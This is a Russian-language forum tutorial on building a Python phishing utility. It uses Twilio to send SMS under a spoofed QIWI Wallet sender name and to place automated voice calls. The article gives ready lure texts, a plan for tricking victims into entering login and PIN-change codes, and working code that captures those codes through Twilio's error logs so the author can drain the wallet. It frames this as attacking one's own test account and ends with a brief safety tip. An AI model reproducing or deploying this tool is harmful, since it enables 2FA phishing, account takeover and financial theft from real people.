Статья Воплощение фишинговой атаки путем подмены сообщений

Приветствую, Codeby! В своей прошлой статье я рассказал о реализации подмены SenderID, сегодня я хочу разобрать практическое применение этой схемы.
Мы создадим утилиту для фишинга, которая сможет отправлять смс от имени компаний и будет иметь очень интересную фичу в виде фишинга 2FA кодом через телефонного бота!

Взламывать мы будем QIWI, конечно же свой. Нам понадобится:
Twilio
Python

Основная часть:

Для начала поставим конечную цель. Нам нужно вывести деньги с кошелька отправив при этом минимальное кол-во сообщений не вызвав подозрений.
У нас есть несколько путей для реализации:
  1. Запросить смену пароля и подтверждение на перевод средств.
  2. Запросить смену пароля и запросить подтверждение на возможность переводов без подтверждений.
  3. Запросить код для входа через приложение и пин код опять же для входа.
  • В случае 1 вектора будем слишком подозрительно, т.к QIWI подробно распишет платеж.
  • В случае 2 будет менее подозрительно, но у жертвы так же может возникнуть некоторые вопросы.
  • В случае 3 киви даёт минимальное кол-во данных, при этом даже не поясняя что кодом можно сменить пин.
Мы остановимся на третьем варианте, т.к мы сможем переводить деньги без подтверждений через несколько транзакций(это особенность использования киви через приложение), а так-же сообщения от киви более расплывчаты.

Теперь когда мы определились с тем, какие данные будет "вылавливать", нужно заняться вариантами действий:
У нас есть два варианта:
  1. Мы напишем бота который будет звонить и просить код подтверждения QIWI и в сообщении с кастомным SenderID укажем что бот потребует код для входа через андроид. Так-же, мы немного схитрим, запросив два кода под предлогом одного входа без смены пин-кода, ведь у киви смс для входа в андроид и смс для смены пин-кода одинаковые, только различается сам код.
  2. Мы создадим сайт для подтверждения своего аккаунта и возьмём домен похожий на qiwi.

План работы для варианта 1:
1. Отправить сообщение от имени QIWIWallet через Twilio, сказав что обнаружена аномальная активность на мобильных устройствах и что нужно подтвердить свое андроид устройства через бота который позвонит.
2. Запрашиваем на своем телефоне код для входа в аккаунт жертвы.
3. Звоним через Twilio используя Programmable Voice от этого же сервиса, просим ввести код для входа чтобы подтвердить себя.
4. Бот ждёт ввода, после получения кода входим через приложение и бот вешает трубку благодаря за сотрудничество, киви просит нас ввести пин код и тогда мы даем боту команду позвонить заявить об инвалидности кода(попутно отправив смс об этом) и попросить ввести новый код повторно, в это время мы в приложении просим киви сменить пин-код для входа.
5. Жертва вводит код от пин-кода, после чего мы входим в аккаунт и выносим целых 42 рубля которые лежат на моем тестовом аккаунте.
0. Если один из кодов недействителен то пишем жертве что осталось две попытки или средства будут заморожены и повторяем круг.

План работы для варианта 2:
1. Отправить сообщение от имени QIWIWallet через Twilio, сказав что обнаружена аномальная активность на мобильных устройствах и что нужно подтвердить свой аккаунт и разлогинить андроиды через сайт введя код.
2. Запрашиваем на своем телефоне код для входа в аккаунт жертвы.
3. При вводе жертва получает сообщение ошибки, сайт информирует нас когда это происходит и дает введенный код.
4. Используем введеный код для входа и запрашиваем код для смены PIN.
5. Жертва вводит второй код и сайт выдает "Ошибка, попробуйте позже".
0. Если один из кодов оказался недействительным, то присылаем текст заново с добавкой "попробовать снова" и перезапускаем код.
Все это будет содержать скрипт на Python.
Мы настроим код twilio из предыдущей части и добавим функции, в конце статьи мы получим полноценную утилиту для фишинга, мы даже сделаем ее юзер френдли :).

Теперь давайте сделаем финальный текст для отправления:
Вариант 1.
Здравствуйте, на вашем аккаунте была замечена аномальная активность со стороннего андроид устройства, ваши счета могут быть заморожены. Для разморозки требуется войти в аккаунт и подать заявку на (ваш сайт).
Вариант 2. Здравствуйте, на вашем аккаунте была замечена аномальная активность со стороннего андроид устройства, ваши счета могут быть заморожены. Для подтверждение сообщите нашему оператору, который наберет с номера указаного в нижней части страницы QIWI SUPPORT/ код подтверждения

Пишем код:
Нам понадобятся библиотеки: twilio.rest, twilio.twimlo и os
Python:
import os
from twilio.twiml.voice_response import Gather, VoiceResponse
from twilio.rest import Client
Запишем два варианты в две переменные с помощью f-string:
Python:
sampleqiwisite=f'''Здравствуйте, на вашем аккаунте была замечена аномальная активность со стороннего андроид устройства, ваши счета могут быть заморожены. Для разморозки требуется войти в аккаунт и подать заявку на (ваш сайт)'''
sampleqiwiphone=f'''Здравствуйте, на вашем аккаунте была замечена аномальная активность со стороннего андроид устройства, ваши счета могут быть заморожены. Для подтверждение сообщите нашему оператору, который наберет с номера указаного в нижней части страницы https://qiwi.com/support/ код подтверждения'''
Далее, нам нужна функция отпрвки смс, она будет получать параметр text который будет посылать в сообщении.
Реализовываем функцию для отпарвки смс:
Python:
def sms(text):
    client = Client(account_sid, auth_token)
    message = client.messages.create(body=text, from_=sender, to=reciever)
Для работы нам понадобятся account_sid, auth_token, получатель, номер телефона Twilio, имя отправителя. Как получить первые два можно узнать из моей предыдущей статьи:
Ввод двух важных переменных осуществим так:
Python:
account_sid = input('СИД АККАУНТА:')
auth_token = input('ТОКЕН:')
reciever = input('ПОЛУЧАТЕЛЬ:')
sender = input('ИМЯ ОТПРАВИТЕЛЯ: ':)
Для работы первого способа нужен номер телефона(его можно купить за тестовый баланс), запросим его
Python:
phone = input('ТЕЛЕФОН(можно не вводить если фишинг идет через сайт): ')

Теперь, когда у нас есть переменные важные для работы, можем предоставлять возможность выбора действий.
Действий будет изначально два: Отправить смс и запросить звонок.
Реалезуем с помощью if стэйтмена, перед этим записав выбор юзера.
Python:
print("Пожалуйста, выберите дейсвтие:")
print("1. Отправить SMS")
print("2. Запросить звонок")
choise = input("Ваш выбор: ")
if (choise == "1")
Если выбор пал на отправку смс, то мы предоставим юзеру два варианта смс: отправка шаблонных смс, которые мы записали в переменные вначале, или отправка своего смс.
Реализуем if внтури if, где в bodychoise запишем второй выбор юзерв по поводу смс, сначала рассмотрим вариант где юзер выбрал отправку шаблона:
Python:
if (choise == "1"):
    print("Вы хотите использовать шаблон для фишинга киви(1), или желаете написать свое сообщение?(2)")
    bodychoise = input("Ваш выбор: ")
    if (bodychoise == "1"):
        print(f'''1. Фишинг с помощью сайта: \n {sampleqiwisite}''')
        print(f'''2. Фишинг с помлщью телефонного бота: \n {sampleqiwiphone}''')
Теперь будем считывать какой метод фишинга он выбрал сделав if внутри if внутри if:
Python:
        if (samplechoise == "1"):
            site = input("Введите адресс своего сайта: ")
            text=sampleqiwisite.replace("(ваш сайт)", site)
        elif (samplechoise == "2"):
            text=sampleqiwiphone
Теперь рассмотрим вариант, когда юзер выбрал кастомное сообщение:
Python:
    if (bodychoise == "2"):
        text =input("Ваш текст: ")
Теперь у нас есть все необходимые данные, пробуем послать сообщение:
Python:
    print("Пробую послать сообщение...")
    try:
        sms(text)
        print('Сообщение успешно отправлено!')
    except Exception as e:
        print("Неудача, произошла следующая ошибка:")
        print(e)[/ICODE]
Это все было в первом действии - отправка сообщения.
Теперь рассмотрим вариант если юзер выбрал фишинг с помощью бота и хочет сделать телефонный звонок, нам нужно сделать инструкцию для twilio, которая будет говорить какие действия выполнять при звонке, а так-же брать ввод:
Python:
if (choise == "2"):
    textphising=input('Текст который скажет бот: ')
    langphish=input('Выберите язык: 1. RU, 2.EN: ')
    if (langphish=="1"):
        lang=f'''language="ru-RU"'''
    else:
        lang=f'''language="en-EN"'''
    xml=f'''
<Response>
    <Gather action="https://google.com" method="GET">
        <Say language="ru-RU">
            {textphising}
        </Say>
    </Gather>
    <Say>Error</Say>
</Response>'''
Мы можем ввести текст, для киви это будет: "Здравствуйте, пожалуйста введите код для подтверждения"
В идеале мы должны создать web приложение которое будет получать параметр Digits и передавать нам, но можно сделать проще, мы вводим левый url, когда Twilio попытается передать код, то получит ошибку и отправит ее нам в .
Там мы нажимаем на последнюю ошибку и в самом низу ищем "Request Inspector". В "Request Inspector" видим "Parameters", нажимаем и ищем Digits, там будет код которй ввел юзер.
Таким образом мы всегда будем выдавать юзеру ошибку, после чего будем присылать сообщения с новым кодом и перезваниать.

Мы сделали инструкцию, теперь нужно будет сделать звонок который будет ею пользоваться:
Python:
    try:
        client = Client(account_sid, auth_token)
        call = client.calls.create(
                                twiml=xml,
                                to=reciever,
                                from_=phone
                            )
        print("Успешно!")
    except Exception as e:
        print("Неудача, произошла следующая ошибка:")
        print(e)

Конец:

Поздравляю, мы создали простой самописный скрипт для фишинга с помощью подмены SenderID!
Я ещё не встречал решения в виде телефонного бота для фишинга кодов от 2FA, поэтому надеюсь, что статья была интересной.
В прошлой статье мы увидели что такие атаки возможны, в этой мы уже написали скрипт с помощью которого можно будет легко украсть пароль и коды из смс, всегда при поступлении инструкций от компаний лучше обратиться в тех. поддержку или хотя бы внимательно изучить сообщение и сайт компании.
Если к этому подключить смену callerid, то будет ещё реалистичнее!
Полный код скрипта вы найдете здесь.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!